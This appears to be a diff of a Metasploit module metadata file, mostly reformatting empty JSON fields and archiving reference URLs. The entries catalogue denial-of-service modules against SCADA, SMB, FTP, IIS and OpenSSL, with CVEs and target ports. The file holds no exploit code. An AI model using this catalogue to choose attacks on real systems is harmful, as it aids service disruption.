"/modules/auxiliary/dos/scada/d20_tftp_overflow.rb", @@ -16298,20 +14243,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/igss9_dataserver": { "name": "7-Technologies IGSS 9 IGSSdataServer.exe DoS", "fullname": "auxiliary/dos/scada/igss9_dataserver", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-20", "type": "auxiliary", @@ -16327,12 +14267,8 @@ "platform": "", "arch": "", "rport": 12401, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/scada/igss9_dataserver.rb", @@ -16341,20 +14277,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/siemens_siprotec4": { "name": "Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service", "fullname": "auxiliary/dos/scada/siemens_siprotec4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16369,12 +14300,8 @@ "platform": "", "arch": "", "rport": 50000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/scada/siemens_siprotec4.rb", @@ -16383,20 +14310,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/yokogawa_logsvr": { "name": "Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow", "fullname": "auxiliary/dos/scada/yokogawa_logsvr", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-10", "type": "auxiliary", @@ -16407,40 +14329,31 @@ "description": "This module abuses a buffer overflow vulnerability to trigger a Denial of Service\n of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability\n exists in the handling of malformed log packets, with an unexpected long level field.\n The root cause of the vulnerability is a combination of usage of uninitialized memory\n from the stack and a dangerous string copy. This module has been tested successfully\n on Yokogawa CENTUM CS 3000 R3.08.50.", "references": [ "URL-http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf", - "URL-https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/", + "URL-http://web.archive.org/web/20221209030848/https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/", "CVE-2014-0781" ], "platform": "", "arch": "", "rport": 52302, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/dos/scada/yokogawa_logsvr.rb", "is_install_path": true, "ref_name": "dos/scada/yokogawa_logsvr", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/smb/smb_loris": { "name": "SMBLoris NBSS Denial of Service", "fullname": "auxiliary/dos/smb/smb_loris", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-06-29", "type": "auxiliary", @@ -16456,12 +14369,8 @@ "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/smb/smb_loris.rb", @@ -16470,20 +14379,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/smtp/sendmail_prescan": { "name": "Sendmail SMTP Address prescan Memory Corruption", "fullname": "auxiliary/dos/smtp/sendmail_prescan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-09-17", "type": "auxiliary", @@ -16520,20 +14424,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/solaris/lpd/cascade_delete": { "name": "Solaris LPD Arbitrary File Delete", "fullname": "auxiliary/dos/solaris/lpd/cascade_delete", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16550,12 +14449,8 @@ "platform": "", "arch": "", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb", @@ -16564,20 +14459,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ssl/dtls_changecipherspec": { "name": "OpenSSL DTLS ChangeCipherSpec Remote DoS", "fullname": "auxiliary/dos/ssl/dtls_changecipherspec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2000-04-26", "type": "auxiliary", @@ -16593,12 +14483,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb", @@ -16607,20 +14493,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ssl/dtls_fragment_overflow": { "name": "OpenSSL DTLS Fragment Buffer Overflow DoS", "fullname": "auxiliary/dos/ssl/dtls_fragment_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-06-05", "type": "auxiliary", @@ -16633,40 +14514,31 @@ "CVE-2014-0195", "ZDI-14-173", "BID-67900", - "URL-http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002", - "URL-http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048" + "URL-http://web.archive.org/web/20150815024234/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002", + "URL-http://web.archive.org/web/20140707160621/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048" ], "platform": "", "arch": "", "rport": 4433, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb", "is_install_path": true, "ref_name": "dos/ssl/dtls_fragment_overflow", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ssl/openssl_aesni": { "name": "OpenSSL TLS 1.1 and 1.2 AES-NI DoS", "fullname": "auxiliary/dos/ssl/openssl_aesni", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-05", "type": "auxiliary", @@ -16681,12 +14553,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/dos/ssl/openssl_aesni.rb", @@ -16695,20 +14563,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/syslog/rsyslog_long_tag": { "name": "rsyslog Long Tag Off-By-Two DoS", "fullname": "auxiliary/dos/syslog/rsyslog_long_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-01", "type": "auxiliary", @@ -16724,12 +14587,8 @@ "platform": "", "arch": "", "rport": 514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb", @@ -16738,20 +14597,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/tcp/claymore_dos": { "name": "Claymore Dual GPU Miner Format String dos attack", "fullname": "auxiliary/dos/tcp/claymore_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-02-06", "type": "auxiliary", @@ -16768,12 +14622,8 @@ "platform": "", "arch": "", "rport": 3333, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-17 17:04:49 +0000", "path": "/modules/auxiliary/dos/tcp/claymore_dos.py", @@ -16782,20 +14632,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/tcp/junos_tcp_opt": { "name": "Juniper JunOS Malformed TCP Option", "fullname": "auxiliary/dos/tcp/junos_tcp_opt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16811,12 +14656,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/tcp/junos_tcp_opt.rb", @@ -16825,20 +14666,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/tcp/synflood": { "name": "TCP SYN Flooder", "fullname": "auxiliary/dos/tcp/synflood", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16846,18 +14682,12 @@ "kris katterjohn " ], "description": "A simple TCP SYN flooder", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/tcp/synflood.rb", @@ -16866,20 +14696,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/upnp/miniupnpd_dos": { "name": "MiniUPnPd 1.4 Denial of Service (DoS) Exploit", "fullname": "auxiliary/dos/upnp/miniupnpd_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-27", "type": "auxiliary", @@ -16898,12 +14723,8 @@ "platform": "", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-12-04 17:41:24 +0000", "path": "/modules/auxiliary/dos/upnp/miniupnpd_dos.rb", @@ -16912,20 +14733,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/appian/appian_bpm": { "name": "Appian Enterprise Business Suite 5.6 SP1 DoS", "fullname": "auxiliary/dos/windows/appian/appian_bpm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-17", "type": "auxiliary", @@ -16941,12 +14757,8 @@ "platform": "", "arch": "", "rport": 5400, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/windows/appian/appian_bpm.rb", @@ -16955,20 +14767,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/browser/ms09_065_eot_integer": { "name": "Microsoft Windows EOT Font Table Directory Integer Overflow", "fullname": "auxiliary/dos/windows/browser/ms09_065_eot_integer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-11-10", "type": "auxiliary", @@ -16984,12 +14791,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-10 18:03:35 +0000", "path": "/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb", @@ -16998,8 +14801,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -17012,9 +14814,7 @@ "auxiliary_dos/windows/ftp/filezilla_admin_user": { "name": "FileZilla FTP Server Admin Interface Denial of Service", "fullname": "auxiliary/dos/windows/ftp/filezilla_admin_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-11-07", "type": "auxiliary", @@ -17031,12 +14831,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb", @@ -17045,20 +14841,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/filezilla_server_port": { "name": "FileZilla FTP Server Malformed PORT Denial of Service", "fullname": "auxiliary/dos/windows/ftp/filezilla_server_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-12-11", "type": "auxiliary", @@ -17091,20 +14882,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/guildftp_cwdlist": { "name": "Guild FTPd 0.999.8.11/0.999.14 Heap Corruption", "fullname": "auxiliary/dos/windows/ftp/guildftp_cwdlist", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-12", "type": "auxiliary", @@ -17135,20 +14921,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/iis75_ftpd_iac_bof": { "name": "Microsoft IIS FTP Server Encoded Response Overflow Trigger", "fullname": "auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-12-21", "type": "auxiliary", @@ -17168,12 +14949,8 @@ "platform": "", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb", @@ -17182,20 +14959,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/iis_list_exhaustion": { "name": "Microsoft IIS FTP Server LIST Stack Exhaustion", "fullname": "auxiliary/dos/windows/ftp/iis_list_exhaustion", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-09-03", "type": "auxiliary", @@ -17229,20 +15001,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/solarftp_user": { "name": "Solar FTP Server Malformed USER Denial of Service", "fullname": "auxiliary/dos/windows/ftp/solarftp_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-22", "type": "auxiliary", @@ -17258,12 +15025,8 @@ "platform": "", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/windows/ftp/solarftp_user.rb", @@ -17272,20 +15035,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/titan626_site": { "name": "Titan FTP Server 6.26.630 SITE WHO DoS", "fullname": "auxiliary/dos/windows/ftp/titan626_site", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-14", "type": "auxiliary", @@ -17316,20 +15074,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/vicftps50_list": { "name": "Victory FTP Server 5.0 LIST DoS", "fullname": "auxiliary/dos/windows/ftp/vicftps50_list", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-24", "type": "auxiliary", @@ -17361,20 +15114,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/winftp230_nlst": { "name": "WinFTP 2.3.0 NLST Denial of Service", "fullname": "auxiliary/dos/windows/ftp/winftp230_nlst", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-09-26", "type": "auxiliary", @@ -17405,20 +15153,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/xmeasy560_nlst": { "name": "XM Easy Personal FTP Server 5.6.0 NLST DoS", "fullname": "auxiliary/dos/windows/ftp/xmeasy560_nlst", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-13", "type": "auxiliary", @@ -17449,20 +15192,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/xmeasy570_nlst": { "name": "XM Easy Personal FTP Server 5.7.0 NLST DoS", "fullname": "auxiliary/dos/windows/ftp/xmeasy570_nlst", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-03-27", "type": "auxiliary", @@ -17493,20 +15231,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/games/kaillera": { "name": "Kaillera 0.86 Server Denial of Service", "fullname": "auxiliary/dos/windows/games/kaillera", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-07-02", "type": "auxiliary", @@ -17514,18 +15247,12 @@ "Sil3nt_Dre4m" ], "description": "The Kaillera 0.86 server can be shut down by sending any malformed packet\n after the initial \"hello\" packet.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 27888, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/windows/games/kaillera.rb", @@ -17534,20 +15261,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166": { "name": "Windows IIS HTTP Protocol Stack DOS", "fullname": "auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-05-11", "type": "auxiliary", @@ -17595,9 +15317,7 @@ "Stability": [ "crash-os-restarts" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "screen-effects" @@ -17605,16 +15325,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/http/ms10_065_ii6_asp_dos": { "name": "Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service", "fullname": "auxiliary/dos/windows/http/ms10_065_ii6_asp_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-09-14", "type": "auxiliary", @@ -17632,12 +15348,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb", @@ -17646,20 +15358,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/http/pi3web_isapi": { "name": "Pi3Web ISAPI DoS", "fullname": "auxiliary/dos/windows/http/pi3web_isapi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-11-13", "type": "auxiliary", @@ -17698,20 +15405,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/llmnr/ms11_030_dnsapi": { "name": "Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS", "fullname": "auxiliary/dos/windows/llmnr/ms11_030_dnsapi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-12", "type": "auxiliary", @@ -17727,12 +15429,8 @@ "platform": "", "arch": "", "rport": 5355, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb", @@ -17741,20 +15439,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/nat/nat_helper": { "name": "Microsoft Windows NAT Helper Denial of Service", "fullname": "auxiliary/dos/windows/nat/nat_helper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-10-26", "type": "auxiliary", @@ -17770,12 +15463,8 @@ "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/windows/nat/nat_helper.rb", @@ -17784,20 +15473,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/rdp/ms12_020_maxchannelids": { "name": "MS12-020 Microsoft Remote Desktop Use-After-Free DoS", "fullname": "auxiliary/dos/windows/rdp/ms12_020_maxchannelids", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-16", "type": "auxiliary", @@ -17813,8 +15497,8 @@ "CVE-2012-0002", "MSB-MS12-020", "URL-http://www.privatepaste.com/ffe875e04a", - "URL-http://pastie.org/private/4egcqt9nucxnsiksudy5dw", - "URL-http://pastie.org/private/feg8du0e9kfagng4rrg", + "URL-http://web.archive.org/web/20161020044803/http://pastie.org/private/4egcqt9nucxnsiksudy5dw", + "URL-http://web.archive.org/web/20160627131634/http://pastie.org/private/feg8du0e9kfagng4rrg", "URL-http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html", "EDB-18606", "URL-https://www.rapid7.com/blog/post/2012/03/21/metasploit-update/" @@ -17822,34 +15506,25 @@ "platform": "", "arch": "", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb", "is_install_path": true, "ref_name": "dos/windows/rdp/ms12_020_maxchannelids", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms05_047_pnp": { "name": "Microsoft Plug and Play Service Registry Overflow", "fullname": "auxiliary/dos/windows/smb/ms05_047_pnp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -17882,20 +15557,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms06_035_mailslot": { "name": "Microsoft SRV.SYS Mailslot Write Corruption", "fullname": "auxiliary/dos/windows/smb/ms06_035_mailslot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-07-11", "type": "auxiliary", @@ -17929,8 +15599,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -17943,9 +15612,7 @@ "auxiliary_dos/windows/smb/ms06_063_trans": { "name": "Microsoft SRV.SYS Pipe Transaction No Null", "fullname": "auxiliary/dos/windows/smb/ms06_063_trans", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -17978,20 +15645,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms09_001_write": { "name": "Microsoft SRV.SYS WriteAndX Invalid DataOffset", "fullname": "auxiliary/dos/windows/smb/ms09_001_write", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18024,20 +15686,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms09_050_smb2_negotiate_pidhigh": { "name": "Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference", "fullname": "auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18056,12 +15713,8 @@ "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb", @@ -18070,20 +15723,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms09_050_smb2_session_logoff": { "name": "Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference", "fullname": "auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18099,12 +15747,8 @@ "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb", @@ -18113,20 +15757,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms10_006_negotiate_response_loop": { "name": "Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop", "fullname": "auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18144,12 +15783,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-08-24 